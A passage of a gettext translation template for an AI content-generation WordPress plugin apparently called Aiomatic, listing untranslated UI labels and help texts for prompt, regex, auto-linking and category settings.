res/aiomatic-single-list.php:3213 #: res/aiomatic-single-list.php:5201 res/aiomatic-single-list.php:6476 #: res/aiomatic-single-list.php:7881 res/aiomatic-youtube-list.php:976 #: res/aiomatic-youtube-list.php:3481 msgid "Select the AI Model to be used for the Q&A generator." msgstr "" #: res/aiomatic-amazon-list.php:1015 res/aiomatic-listicle-list.php:962 #: res/aiomatic-review-list.php:1123 res/aiomatic-rules-list.php:977 #: res/aiomatic-single-list.php:2014 res/aiomatic-single-list.php:3217 #: res/aiomatic-single-list.php:5205 res/aiomatic-single-list.php:6480 #: res/aiomatic-single-list.php:7885 res/aiomatic-youtube-list.php:980 msgid "AI Model For Q&A Generator:" msgstr "" #: res/aiomatic-amazon-list.php:1034 res/aiomatic-single-list.php:6499 #, php-format msgid "" "Prompt to be used for the outro of the article. You can use the following " "shortcodes: %%search_keywords%%, %%all_product_titles%%, " "%%all_product_info%%, %%language%%, %%writing_style%%, %%writing_tone%%, " "%%sections_count%%, %%random_sentence%%, %%random_sentence2%%, " "%%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to " "get a list of PAA questions for the KEYWORD you want to use. Update: nested " "shortcodes also supported (shortcodes generated by rules from other " "plugins). You will also be able to use the custom shortcodes defined in the " "'Custom Shortcode Creator' feature from the rule settings - this will allow " "you to create partially or fully AI generated prompts which will be used for " "the content generators." msgstr "" #: res/aiomatic-amazon-list.php:1038 res/aiomatic-listicle-list.php:985 #: res/aiomatic-review-list.php:1146 res/aiomatic-rules-list.php:1000 #: res/aiomatic-single-list.php:2037 res/aiomatic-single-list.php:3240 #: res/aiomatic-single-list.php:5228 res/aiomatic-single-list.php:6503 #: res/aiomatic-single-list.php:7908 res/aiomatic-youtube-list.php:1003 msgid "Article Outro Prompt:" msgstr "" #: res/aiomatic-amazon-list.php:1049 res/aiomatic-amazon-list.php:3599 #: res/aiomatic-listicle-list.php:996 res/aiomatic-listicle-list.php:3459 #: res/aiomatic-review-list.php:1157 res/aiomatic-review-list.php:3795 #: res/aiomatic-rules-list.php:1011 res/aiomatic-rules-list.php:3788 #: res/aiomatic-single-list.php:2048 res/aiomatic-single-list.php:3251 #: res/aiomatic-single-list.php:5239 res/aiomatic-single-list.php:6514 #: res/aiomatic-single-list.php:7919 res/aiomatic-youtube-list.php:1014 #: res/aiomatic-youtube-list.php:3523 msgid "Select the AI Model to be used for the outro generator." msgstr "" #: res/aiomatic-amazon-list.php:1053 res/aiomatic-listicle-list.php:1000 #: res/aiomatic-review-list.php:1161 res/aiomatic-rules-list.php:1015 #: res/aiomatic-single-list.php:2052 res/aiomatic-single-list.php:3255 #: res/aiomatic-single-list.php:5243 res/aiomatic-single-list.php:6518 #: res/aiomatic-single-list.php:7923 res/aiomatic-youtube-list.php:1018 msgid "AI Model For Outro Generator:" msgstr "" #: res/aiomatic-amazon-list.php:1072 res/aiomatic-single-list.php:6537 #, php-format msgid "" "Prompt to be used for the excerpt of the article. You can use the following " "shortcodes: %%search_keywords%%, %%all_product_titles%%, " "%%all_product_info%%, %%language%%, %%writing_style%%, %%writing_tone%%, " "%%sections%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - " "Update: %%related_questions_KEYWORD%% is also supported, to get a list of " "PAA questions for the KEYWORD you want to use. Update: nested shortcodes " "also supported (shortcodes generated by rules from other plugins). You will " "also be able to use the custom shortcodes defined in the 'Custom Shortcode " "Creator' feature from the rule settings - this will allow you to create " "partially or fully AI generated prompts which will be used for the content " "generators." msgstr "" #: res/aiomatic-amazon-list.php:1076 res/aiomatic-listicle-list.php:1023 #: res/aiomatic-review-list.php:1184 res/aiomatic-rules-list.php:1038 #: res/aiomatic-single-list.php:2075 res/aiomatic-single-list.php:3278 #: res/aiomatic-single-list.php:5266 res/aiomatic-single-list.php:6541 #: res/aiomatic-single-list.php:7946 res/aiomatic-youtube-list.php:1041 msgid "Excerpt Prompt:" msgstr "" #: res/aiomatic-amazon-list.php:1087 res/aiomatic-amazon-list.php:3641 #: res/aiomatic-listicle-list.php:1034 res/aiomatic-listicle-list.php:3501 #: res/aiomatic-review-list.php:1195 res/aiomatic-review-list.php:3837 #: res/aiomatic-rules-list.php:1049 res/aiomatic-rules-list.php:3830 #: res/aiomatic-single-list.php:2086 res/aiomatic-single-list.php:3289 #: res/aiomatic-single-list.php:5277 res/aiomatic-single-list.php:6552 #: res/aiomatic-single-list.php:7957 res/aiomatic-youtube-list.php:1052 #: res/aiomatic-youtube-list.php:3565 msgid "Select the AI Model to be used for the excerpt generator." msgstr "" #: res/aiomatic-amazon-list.php:1091 res/aiomatic-listicle-list.php:1038 #: res/aiomatic-review-list.php:1199 res/aiomatic-rules-list.php:1053 #: res/aiomatic-single-list.php:2090 res/aiomatic-single-list.php:3293 #: res/aiomatic-single-list.php:5281 res/aiomatic-single-list.php:6556 #: res/aiomatic-single-list.php:7961 res/aiomatic-youtube-list.php:1056 msgid "AI Model For Excerpt Generator:" msgstr "" #: res/aiomatic-amazon-list.php:1110 res/aiomatic-single-list.php:6575 #, php-format msgid "" "Prompt to be used for the product comparison prompt of the article. You can " "use the following shortcodes: %%search_keywords%%, %%all_product_titles%%, " "%%all_product_info%%, %%language%%, %%writing_style%%, %%writing_tone%%, " "%%sections%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - " "Update: %%related_questions_KEYWORD%% is also supported, to get a list of " "PAA questions for the KEYWORD you want to use. Update: nested shortcodes " "also supported (shortcodes generated by rules from other plugins). You will " "also be able to use the custom shortcodes defined in the 'Custom Shortcode " "Creator' feature from the rule settings - this will allow you to create " "partially or fully AI generated prompts which will be used for the content " "generators." msgstr "" #: res/aiomatic-amazon-list.php:1114 res/aiomatic-single-list.php:6579 msgid "Comparison Table Prompt:" msgstr "" #: res/aiomatic-amazon-list.php:1125 res/aiomatic-single-list.php:6590 msgid "" "Select the AI Model to be used for the product comparison table generator." msgstr "" #: res/aiomatic-amazon-list.php:1129 res/aiomatic-single-list.php:6594 msgid "AI Model For Comparison Table Generator:" msgstr "" #: res/aiomatic-amazon-list.php:1144 res/aiomatic-amazon-list.php:3709 #: res/aiomatic-listicle-list.php:1053 res/aiomatic-listicle-list.php:3527 #: res/aiomatic-review-list.php:1214 res/aiomatic-review-list.php:3863 #: res/aiomatic-rules-list.php:1068 res/aiomatic-rules-list.php:3856 #: res/aiomatic-single-list.php:2105 res/aiomatic-single-list.php:3308 #: res/aiomatic-single-list.php:5296 res/aiomatic-single-list.php:6609 #: res/aiomatic-single-list.php:7976 res/aiomatic-youtube-list.php:1071 #: res/aiomatic-youtube-list.php:3591 msgid "Advanced Prompting Options" msgstr "" #: res/aiomatic-amazon-list.php:1151 res/aiomatic-amazon-list.php:3713 #: res/aiomatic-listicle-list.php:1060 res/aiomatic-listicle-list.php:3531 #: res/aiomatic-review-list.php:1221 res/aiomatic-review-list.php:3867 #: res/aiomatic-rules-list.php:1075 res/aiomatic-rules-list.php:3860 #: res/aiomatic-single-list.php:2112 res/aiomatic-single-list.php:3315 #: res/aiomatic-single-list.php:5303 res/aiomatic-single-list.php:6616 #: res/aiomatic-single-list.php:7983 res/aiomatic-youtube-list.php:1078 #: res/aiomatic-youtube-list.php:3595 msgid "" "Run regex on prompts. To disable this feature, leave this field blank. No " "Regex separators are required here. You can add multiple Regex expressions, " "each on a different line." msgstr "" #: res/aiomatic-amazon-list.php:1155 res/aiomatic-listicle-list.php:1064 #: res/aiomatic-review-list.php:1225 res/aiomatic-rules-list.php:1079 #: res/aiomatic-single-list.php:2116 res/aiomatic-single-list.php:3319 #: res/aiomatic-single-list.php:5307 res/aiomatic-single-list.php:6620 #: res/aiomatic-single-list.php:7987 res/aiomatic-youtube-list.php:1082 msgid "Run Regex On Prompts:" msgstr "" #: res/aiomatic-amazon-list.php:1170 res/aiomatic-listicle-list.php:1079 #: res/aiomatic-review-list.php:1240 res/aiomatic-rules-list.php:1094 #: res/aiomatic-single-list.php:2131 res/aiomatic-single-list.php:3334 #: res/aiomatic-single-list.php:5322 res/aiomatic-single-list.php:6635 #: res/aiomatic-single-list.php:8002 res/aiomatic-youtube-list.php:1097 msgid "Replace Matches From Regex (Prompts):" msgstr "" #: res/aiomatic-amazon-list.php:1181 res/aiomatic-amazon-list.php:3737 #: res/aiomatic-single-list.php:6646 msgid "" "Select on which prompts do you want to run the above Regex. Possible values " "are (or any of their combinations): title, intro, sections, content, qa, " "outro, excerpt" msgstr "" #: res/aiomatic-amazon-list.php:1185 res/aiomatic-listicle-list.php:1094 #: res/aiomatic-review-list.php:1255 res/aiomatic-rules-list.php:1109 #: res/aiomatic-single-list.php:2146 res/aiomatic-single-list.php:3349 #: res/aiomatic-single-list.php:5337 res/aiomatic-single-list.php:6650 #: res/aiomatic-single-list.php:8017 res/aiomatic-youtube-list.php:1112 msgid "Run Above Regex On Prompts:" msgstr "" #: res/aiomatic-amazon-list.php:1202 res/aiomatic-amazon-list.php:3757 #: res/aiomatic-listicle-list.php:1110 res/aiomatic-listicle-list.php:3574 #: res/aiomatic-review-list.php:1271 res/aiomatic-review-list.php:3910 #: res/aiomatic-rules-list.php:1376 res/aiomatic-rules-list.php:4130 #: res/aiomatic-single-list.php:2162 res/aiomatic-single-list.php:3365 #: res/aiomatic-single-list.php:4100 res/aiomatic-single-list.php:5353 #: res/aiomatic-single-list.php:6667 res/aiomatic-single-list.php:8033 #: res/aiomatic-youtube-list.php:1128 res/aiomatic-youtube-list.php:3638 msgid "Global Prompt Options" msgstr "" #: res/aiomatic-amazon-list.php:1209 res/aiomatic-amazon-list.php:3761 #: res/aiomatic-listicle-list.php:1117 res/aiomatic-listicle-list.php:3578 #: res/aiomatic-rules-list.php:1383 res/aiomatic-rules-list.php:4134 #: res/aiomatic-single-list.php:2169 res/aiomatic-single-list.php:3372 #: res/aiomatic-single-list.php:4107 res/aiomatic-single-list.php:5360 #: res/aiomatic-single-list.php:6674 res/aiomatic-youtube-list.php:1135 #: res/aiomatic-youtube-list.php:3642 #, php-format msgid "" "This will be prepended to each prompt sent by the plugin to the AI writer. " "You can use the following shortcodes: %%topic%%, %%language%%, " "%%writing_style%%, %%writing_tone%%, %%title%%, %%random_sentence%%, " "%%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Update: " "%%related_questions_KEYWORD%% is also supported, to get a list of PAA " "questions for the KEYWORD you want to use. Update: nested shortcodes also " "supported (shortcodes generated by rules from other plugins). You will also " "be able to use the custom shortcodes defined in the 'Custom Shortcode " "Creator' feature from the rule settings - this will allow you to create " "partially or fully AI generated prompts which will be used for the content " "generators. You will also be able to use the custom shortcodes defined in " "the 'Custom Shortcode Creator' feature from the rule settings - this will " "allow you to create partially or fully AI generated prompts which will be " "used for the content generators." msgstr "" #: res/aiomatic-amazon-list.php:1213 res/aiomatic-listicle-list.php:1121 #: res/aiomatic-review-list.php:1282 res/aiomatic-rules-list.php:1387 #: res/aiomatic-single-list.php:2173 res/aiomatic-single-list.php:3376 #: res/aiomatic-single-list.php:4111 res/aiomatic-single-list.php:5364 #: res/aiomatic-single-list.php:6678 res/aiomatic-single-list.php:8044 #: res/aiomatic-youtube-list.php:1139 msgid "Prepend Text To All Textual AI Prompts:" msgstr "" #: res/aiomatic-amazon-list.php:1224 res/aiomatic-amazon-list.php:3774 #: res/aiomatic-listicle-list.php:1132 res/aiomatic-listicle-list.php:3591 #: res/aiomatic-rules-list.php:1398 res/aiomatic-rules-list.php:4147 #: res/aiomatic-single-list.php:2184 res/aiomatic-single-list.php:3387 #: res/aiomatic-single-list.php:4122 res/aiomatic-single-list.php:5375 #: res/aiomatic-single-list.php:6689 res/aiomatic-youtube-list.php:1150 #: res/aiomatic-youtube-list.php:3655 #, php-format msgid "" "This will be appended to each prompt sent by the plugin to the AI writer. " "You can use the following shortcodes: %%topic%%, %%language%%, " "%%writing_style%%, %%writing_tone%%, %%title%%, %%random_sentence%%, " "%%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Update: " "%%related_questions_KEYWORD%% is also supported, to get a list of PAA " "questions for the KEYWORD you want to use. Update: nested shortcodes also " "supported (shortcodes generated by rules from other plugins). You will also " "be able to use the custom shortcodes defined in the 'Custom Shortcode " "Creator' feature from the rule settings - this will allow you to create " "partially or fully AI generated prompts which will be used for the content " "generators. You will also be able to use the custom shortcodes defined in " "the 'Custom Shortcode Creator' feature from the rule settings - this will " "allow you to create partially or fully AI generated prompts which will be " "used for the content generators." msgstr "" #: res/aiomatic-amazon-list.php:1228 res/aiomatic-listicle-list.php:1136 #: res/aiomatic-review-list.php:1297 res/aiomatic-rules-list.php:1402 #: res/aiomatic-single-list.php:2188 res/aiomatic-single-list.php:3391 #: res/aiomatic-single-list.php:4126 res/aiomatic-single-list.php:5379 #: res/aiomatic-single-list.php:6693 res/aiomatic-single-list.php:8059 #: res/aiomatic-youtube-list.php:1154 msgid "Append Text To All Textual AI Prompts:" msgstr "" #: res/aiomatic-amazon-list.php:1235 res/aiomatic-amazon-list.php:3784 #: res/aiomatic-csv-list.php:559 res/aiomatic-csv-list.php:1719 #: res/aiomatic-listicle-list.php:1143 res/aiomatic-listicle-list.php:3601 #: res/aiomatic-review-list.php:1304 res/aiomatic-review-list.php:3937 #: res/aiomatic-rules-list.php:1409 res/aiomatic-rules-list.php:4157 #: res/aiomatic-single-list.php:1298 res/aiomatic-single-list.php:2195 #: res/aiomatic-single-list.php:3398 res/aiomatic-single-list.php:4133 #: res/aiomatic-single-list.php:5386 res/aiomatic-single-list.php:6700 #: res/aiomatic-single-list.php:8066 res/aiomatic-youtube-list.php:1161 #: res/aiomatic-youtube-list.php:3665 msgid "Automatic Linking Options" msgstr "" #: res/aiomatic-amazon-list.php:1242 res/aiomatic-amazon-list.php:3787 #: res/aiomatic-csv-list.php:566 res/aiomatic-csv-list.php:1722 #: res/aiomatic-listicle-list.php:1150 res/aiomatic-listicle-list.php:3604 #: res/aiomatic-review-list.php:1311 res/aiomatic-review-list.php:3940 #: res/aiomatic-rules-list.php:1416 res/aiomatic-rules-list.php:4160 #: res/aiomatic-single-list.php:1305 res/aiomatic-single-list.php:2202 #: res/aiomatic-single-list.php:3405 res/aiomatic-single-list.php:4140 #: res/aiomatic-single-list.php:5393 res/aiomatic-single-list.php:6707 #: res/aiomatic-single-list.php:8073 res/aiomatic-spinner-list.php:2788 #: res/aiomatic-youtube-list.php:1168 res/aiomatic-youtube-list.php:3668 msgid "Select the linking method to use in posts." msgstr "" #: res/aiomatic-amazon-list.php:1246 res/aiomatic-csv-list.php:570 #: res/aiomatic-listicle-list.php:1154 res/aiomatic-review-list.php:1315 #: res/aiomatic-rules-list.php:1420 res/aiomatic-single-list.php:1309 #: res/aiomatic-single-list.php:2206 res/aiomatic-single-list.php:3409 #: res/aiomatic-single-list.php:4144 res/aiomatic-single-list.php:5397 #: res/aiomatic-single-list.php:6711 res/aiomatic-single-list.php:8077 #: res/aiomatic-spinner-list.php:2792 res/aiomatic-youtube-list.php:1172 msgid "Automatic Linking Type:" msgstr "" #: res/aiomatic-amazon-list.php:1251 res/aiomatic-amazon-list.php:3803 #: res/aiomatic-csv-list.php:575 res/aiomatic-csv-list.php:1738 #: res/aiomatic-listicle-list.php:1159 res/aiomatic-listicle-list.php:3620 #: res/aiomatic-review-list.php:1320 res/aiomatic-review-list.php:3956 #: res/aiomatic-rules-list.php:1425 res/aiomatic-rules-list.php:4176 #: res/aiomatic-single-list.php:1314 res/aiomatic-single-list.php:2211 #: res/aiomatic-single-list.php:3414 res/aiomatic-single-list.php:4149 #: res/aiomatic-single-list.php:5402 res/aiomatic-single-list.php:6716 #: res/aiomatic-single-list.php:8082 res/aiomatic-spinner-list.php:2800 #: res/aiomatic-youtube-list.php:1177 res/aiomatic-youtube-list.php:3684 msgid "Internal Links" msgstr "" #: res/aiomatic-amazon-list.php:1252 res/aiomatic-amazon-list.php:3808 #: res/aiomatic-csv-list.php:576 res/aiomatic-csv-list.php:1743 #: res/aiomatic-listicle-list.php:1160 res/aiomatic-listicle-list.php:3625 #: res/aiomatic-review-list.php:1321 res/aiomatic-review-list.php:3961 #: res/aiomatic-rules-list.php:1426 res/aiomatic-rules-list.php:4181 #: res/aiomatic-single-list.php:1315 res/aiomatic-single-list.php:2212 #: res/aiomatic-single-list.php:3415 res/aiomatic-single-list.php:4150 #: res/aiomatic-single-list.php:5403 res/aiomatic-single-list.php:6717 #: res/aiomatic-single-list.php:8083 res/aiomatic-spinner-list.php:2805 #: res/aiomatic-youtube-list.php:1178 res/aiomatic-youtube-list.php:3689 msgid "Manual Links" msgstr "" #: res/aiomatic-amazon-list.php:1253 res/aiomatic-amazon-list.php:3813 #: res/aiomatic-csv-list.php:577 res/aiomatic-csv-list.php:1748 #: res/aiomatic-listicle-list.php:1161 res/aiomatic-listicle-list.php:3630 #: res/aiomatic-review-list.php:1322 res/aiomatic-review-list.php:3966 #: res/aiomatic-rules-list.php:1427 res/aiomatic-rules-list.php:4186 #: res/aiomatic-single-list.php:1316 res/aiomatic-single-list.php:2213 #: res/aiomatic-single-list.php:3416 res/aiomatic-single-list.php:4151 #: res/aiomatic-single-list.php:5404 res/aiomatic-single-list.php:6718 #: res/aiomatic-single-list.php:8084 res/aiomatic-spinner-list.php:2810 #: res/aiomatic-youtube-list.php:1179 res/aiomatic-youtube-list.php:3694 msgid "Mixed Links" msgstr "" #: res/aiomatic-amazon-list.php:1262 res/aiomatic-amazon-list.php:3820 #: res/aiomatic-csv-list.php:586 res/aiomatic-csv-list.php:1755 #: res/aiomatic-listicle-list.php:1170 res/aiomatic-listicle-list.php:3637 #: res/aiomatic-review-list.php:1331 res/aiomatic-review-list.php:3973 #: res/aiomatic-rules-list.php:1436 res/aiomatic-rules-list.php:4193 #: res/aiomatic-single-list.php:1325 res/aiomatic-single-list.php:2222 #: res/aiomatic-single-list.php:3425 res/aiomatic-single-list.php:4160 #: res/aiomatic-single-list.php:5413 res/aiomatic-single-list.php:6727 #: res/aiomatic-single-list.php:8093 res/aiomatic-youtube-list.php:1188 #: res/aiomatic-youtube-list.php:3701 msgid "" "Set the maximum number of automatic links to add to created posts. You can " "also define custom ranges, like: 3-5. Please note that this feature will " "work best if you already have a considerable number of posts published on " "your site, which will be used for internal linking." msgstr "" #: res/aiomatic-amazon-list.php:1266 res/aiomatic-csv-list.php:590 #: res/aiomatic-listicle-list.php:1174 res/aiomatic-review-list.php:1335 #: res/aiomatic-rules-list.php:1440 res/aiomatic-single-list.php:1329 #: res/aiomatic-single-list.php:2226 res/aiomatic-single-list.php:3429 #: res/aiomatic-single-list.php:4164 res/aiomatic-single-list.php:5417 #: res/aiomatic-single-list.php:6731 res/aiomatic-single-list.php:8097 #: res/aiomatic-spinner-list.php:2777 res/aiomatic-youtube-list.php:1192 msgid "Maximum Number Of Automatic Links To Add To The Post Content:" msgstr "" #: res/aiomatic-amazon-list.php:1277 res/aiomatic-amazon-list.php:3831 #: res/aiomatic-csv-list.php:601 res/aiomatic-csv-list.php:1766 #: res/aiomatic-listicle-list.php:1185 res/aiomatic-listicle-list.php:3648 #: res/aiomatic-review-list.php:1346 res/aiomatic-review-list.php:3984 #: res/aiomatic-rules-list.php:1451 res/aiomatic-rules-list.php:4204 #: res/aiomatic-single-list.php:1340 res/aiomatic-single-list.php:2237 #: res/aiomatic-single-list.php:3440 res/aiomatic-single-list.php:4175 #: res/aiomatic-single-list.php:5428 res/aiomatic-single-list.php:6742 #: res/aiomatic-single-list.php:8108 res/aiomatic-spinner-list.php:2819 #: res/aiomatic-youtube-list.php:1203 res/aiomatic-youtube-list.php:3712 msgid "Enter a manual list of links, where the plugin will create links." msgstr "" #: res/aiomatic-amazon-list.php:1281 res/aiomatic-csv-list.php:605 #: res/aiomatic-listicle-list.php:1189 res/aiomatic-review-list.php:1350 #: res/aiomatic-rules-list.php:1455 res/aiomatic-single-list.php:1344 #: res/aiomatic-single-list.php:2241 res/aiomatic-single-list.php:3444 #: res/aiomatic-single-list.php:4179 res/aiomatic-single-list.php:5432 #: res/aiomatic-single-list.php:6746 res/aiomatic-single-list.php:8112 #: res/aiomatic-spinner-list.php:2823 res/aiomatic-youtube-list.php:1207 msgid "Manual List Of URLs (One Per Line):" msgstr "" #: res/aiomatic-amazon-list.php:1292 res/aiomatic-amazon-list.php:3843 #: res/aiomatic-csv-list.php:616 res/aiomatic-csv-list.php:1778 #: res/aiomatic-listicle-list.php:1200 res/aiomatic-listicle-list.php:3660 #: res/aiomatic-review-list.php:1361 res/aiomatic-review-list.php:3996 #: res/aiomatic-rules-list.php:1466 res/aiomatic-rules-list.php:4216 #: res/aiomatic-single-list.php:1355 res/aiomatic-single-list.php:2252 #: res/aiomatic-single-list.php:3455 res/aiomatic-single-list.php:4190 #: res/aiomatic-single-list.php:5443 res/aiomatic-single-list.php:6757 #: res/aiomatic-single-list.php:8123 res/aiomatic-spinner-list.php:2834 #: res/aiomatic-youtube-list.php:1218 res/aiomatic-youtube-list.php:3724 msgid "" "Do you want to add nofollow attribute to manually entered, external links?" msgstr "" #: res/aiomatic-amazon-list.php:1296 res/aiomatic-csv-list.php:620 #: res/aiomatic-listicle-list.php:1204 res/aiomatic-review-list.php:1365 #: res/aiomatic-rules-list.php:1470 res/aiomatic-single-list.php:1359 #: res/aiomatic-single-list.php:2256 res/aiomatic-single-list.php:3459 #: res/aiomatic-single-list.php:4194 res/aiomatic-single-list.php:5447 #: res/aiomatic-single-list.php:6761 res/aiomatic-single-list.php:8127 #: res/aiomatic-spinner-list.php:2838 res/aiomatic-youtube-list.php:1222 msgid "Add Nofollow Attribute To Manual Links:" msgstr "" #: res/aiomatic-amazon-list.php:1307 res/aiomatic-amazon-list.php:3860 #: res/aiomatic-csv-list.php:631 res/aiomatic-csv-list.php:1795 #: res/aiomatic-listicle-list.php:1215 res/aiomatic-listicle-list.php:3677 #: res/aiomatic-review-list.php:1376 res/aiomatic-review-list.php:4013 #: res/aiomatic-rules-list.php:1481 res/aiomatic-rules-list.php:4233 #: res/aiomatic-single-list.php:1370 res/aiomatic-single-list.php:2267 #: res/aiomatic-single-list.php:3470 res/aiomatic-single-list.php:4205 #: res/aiomatic-single-list.php:5458 res/aiomatic-single-list.php:6772 #: res/aiomatic-single-list.php:8138 res/aiomatic-spinner-list.php:2853 #: res/aiomatic-youtube-list.php:1233 res/aiomatic-youtube-list.php:3741 msgid "" "Set the post types where to create automatic links in posts. You can also " "add a comma separated list of multiple post types." msgstr "" #: res/aiomatic-amazon-list.php:1311 res/aiomatic-csv-list.php:635 #: res/aiomatic-listicle-list.php:1219 res/aiomatic-review-list.php:1380 #: res/aiomatic-rules-list.php:1485 res/aiomatic-single-list.php:1374 #: res/aiomatic-single-list.php:2271 res/aiomatic-single-list.php:3474 #: res/aiomatic-single-list.php:4209 res/aiomatic-single-list.php:5462 #: res/aiomatic-single-list.php:6776 res/aiomatic-single-list.php:8142 #: res/aiomatic-youtube-list.php:1237 msgid "Post Types Where To Generate Automatic Links:" msgstr "" #: res/aiomatic-amazon-list.php:1318 res/aiomatic-amazon-list.php:3868 #: res/aiomatic-listicle-list.php:1226 res/aiomatic-listicle-list.php:3685 #: res/aiomatic-review-list.php:1387 res/aiomatic-review-list.php:4021 #: res/aiomatic-rules-list.php:1492 res/aiomatic-rules-list.php:4241 #: res/aiomatic-youtube-list.php:1244 res/aiomatic-youtube-list.php:3749 msgid "Post Category Options" msgstr "" #: res/aiomatic-amazon-list.php:1325 res/aiomatic-listicle-list.php:1233 #: res/aiomatic-review-list.php:1394 res/aiomatic-rules-list.php:1499 #: res/aiomatic-youtube-list.php:1251 msgid "" "Do you want to automatically add post categories from the generated items?" msgstr "" #: res/aiomatic-amazon-list.php:1329 res/aiomatic-listicle-list.php:1237 #: res/aiomatic-review-list.php:1398 res/aiomatic-rules-list.php:1503 #: res/aiomatic-youtube-list.php:1255 msgid "Auto Add Categories:" msgstr "" #: res/aiomatic-amazon-list.php:1334 res/aiomatic-amazon-list.php:1461 #: res/aiomatic-amazon-list.php:3888 res/aiomatic-amazon-list.php:4041 #: res/aiomatic-listicle-list.php:1242 res/aiomatic-listicle-list.php:1369 #: res/aiomatic-listicle-list.php:3705 res/aiomatic-listicle-list.php:3858 #: res/aiomatic-review-list.php:1403 res/aiomatic-review-list.php:1530 #: res/aiomatic-review-list.php:4041 res/aiomatic-review-list.php:4194 #: res/aiomatic-rules-list.php:1508 res/aiomatic-rules-list.php:1635 #: res/aiomatic-rules-list.php:4261 res/aiomatic-rules-list.php:4414 #: res/aiomatic-youtube-list.php:1260 res/aiomatic-youtube-list.php:1387 #: res/aiomatic-youtube-list.php:3769 res/aiomatic-youtube-list.php:3922 msgid "AI Generated" msgstr "" #: res/aiomatic-amazon-list.php:1335 res/aiomatic-amazon-list.php:1462 #: res/aiomatic-amazon-list.php:3893 res/aiomatic-amazon-list.php:4046 #: res/aiomatic-embeddings.php:699 res/aiomatic-listicle-list.php:1243 #: res/aiomatic-listicle-list.php:1370 res/aiomatic-listicle-list.php:3710 #: res/aiomatic-listicle-list.php:3863 res/aiomatic-main.php:10304 #: res/aiomatic-main.php:10570 res/aiomatic-review-list.php:1404 #: res/aiomatic-review-list.php:1531 res/aiomatic-review-list.php:4046 #: res/aiomatic-review-list.php:4199 res/aiomatic-rules-list.php:1509 #: res/aiomatic-rules-list.php:1636 res/aiomatic-rules-list.php:4266 #: res/aiomatic-rules-list.php:4419 res/aiomatic-shortcodes.php:582 #: res/aiomatic-single-list.php:918 res/aiomatic-spinner-list.php:5705 #: res/aiomatic-youtube-list.php:1261 res/aiomatic-youtube-list.php:1388 #: res/aiomatic-youtube-list.php:3774 res/aiomatic-youtube-list.php:3927 #: res/image-seo/seo-panel.php:124 msgid "Title" msgstr "" #: res/aiomatic-amazon-list.php:1337 res/aiomatic-amazon-list.php:1464 #: res/aiomatic-amazon-list.php:3903 res/aiomatic-amazon-list.php:4056 #: res/aiomatic-listicle-list.php:1245 res/aiomatic-listicle-list.php:1372 #: res/aiomatic-listicle-list.php:3720 res/aiomatic-listicle-list.php:3873 #: res/aiomatic-review-list.php:1406 res/aiomatic-review-list.php:1533 #: res/aiomatic-review-list.php:4056 res/aiomatic-review-list.php:4209 #: res/aiomatic-rules-list.php:1511 res/aiomatic-rules-list.php:1638 #: res/aiomatic-rules-list.php:4276 res/aiomatic-rules-list.php:4429 #: res/aiomatic-youtube-list.php:1263 res/aiomatic-youtube-list.php:1390 #: res/aiomatic-youtube-list.php:3784 res/aiomatic-youtube-list.php:3937 msgid "Title and Content" msgstr "" #: res/aiomatic-amazon-list.php:1346 res/aiomatic-listicle-list.php:1254 #: res/aiomatic-review-list.php:1415 res/aiomatic-rules-list.php:1520 #: res/aiomatic-youtube-list.php:1272 msgid "" "Select the AI Model to be used for category generator. You can add this to " "the post categories, if you select 'AI Generated Categories' in the 'Auto " "Add Categories' settings field." msgstr "" #: res/aiomatic-amazon-list.php:1350 res/aiomatic-listicle-list.php:1258 #: res/aiomatic-review-list.php:1419 res/aiomatic-rules-list.php:1524 #: res/aiomatic-youtube-list.php:1276 msgid "AI Model For Category Generator:" msgstr "" #: res/aiomatic-amazon-list.php:1369 res/aiomatic-review-list.php:1438 #: res/aiomatic-youtube-list.php:1295 #, php-format msgid "" "Set list of prompt commands (one on each line) you want to send to AI for " "generating post categories. You can use the following shortcodes here: " "%%post_title%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%. " "You can also add a link to a TXT file, containing keywords (one per line), " "or to an RSS feed. If you use RSS feeds, you can also use the following " "additional shortcodes: %%post_content%%, %%post_content_plain_text%%, " "%%post_excerpt%%, %%post_cats%%, %%author_name%%, %%current_date_time%%, " "%%post_link%%. The length of this command should not be greater than the max " "token count set in the settings for the prompt command - Update: " "%%related_questions_KEYWORD%% is also supported, to get a list of PAA " "questions for the KEYWORD you want to use. Update: nested shortcodes also " "supported (shortcodes generated by rules from other plugins). You can also " "add here a link to a .txt file, where you can add multiple prompts (one per " "line) and the plugin will select a random one at each run. You will also be " "able to use the custom shortcodes defined in the 'Custom Shortcode Creator' " "feature from the rule settings - this will allow you to create partially or " "fully AI generated prompts which will be used for the content generators." msgstr "" #: res/aiomatic-amazon-list.php:1370 res/aiomatic-amazon-list.php:1497 #: res/aiomatic-amazon-list.php:3938 res/aiomatic-amazon-list.php:4091 #: res/aiomatic-listicle-list.php:1278 res/aiomatic-listicle-list.php:1405 #: res/aiomatic-listicle-list.php:3755 res/aiomatic-listicle-list.php:3908 #: res/aiomatic-listicle-list.php:4081 res/aiomatic-review-list.php:1439 #: res/aiomatic-review-list.php:1566 res/aiomatic-review-list.php:4091 #: res/aiomatic-review-list.php:4244 res/aiomatic-rules-list.php:1159 #: res/aiomatic-rules-list.php:1230 res/aiomatic-rules-list.php:1544 #: res/aiomatic-rules-list.php:1671 res/aiomatic-rules-list.php:3936 #: res/aiomatic-rules-list.php:3993 res/aiomatic-rules-list.php:4311 #: res/aiomatic-rules-list.php:4464 res/aiomatic-rules-list.php:4648 #: res/aiomatic-single-list.php:3885 res/aiomatic-single-list.php:3954 #: res/aiomatic-youtube-list.php:1296 res/aiomatic-youtube-list.php:1423 #: res/aiomatic-youtube-list.php:3819 res/aiomatic-youtube-list.php:3972 #, php-format msgid "" "Please check some tips and tricks about writing prompt commands, here." msgstr "" #: res/aiomatic-amazon-list.php:1374 res/aiomatic-listicle-list.php:1282 #: res/aiomatic-review-list.php:1443 res/aiomatic-rules-list.php:1548 #: res/aiomatic-spinner-list.php:2935 res/aiomatic-youtube-list.php:1300 msgid "Prompt For The AI Category Generator:" msgstr "" #: res/aiomatic-amazon-list.php:1385 res/aiomatic-amazon-list.php:3950 #: res/aiomatic-listicle-list.php:1293 res/aiomatic-listicle-list.php:3767 #: res/aiomatic-review-list.php:1454 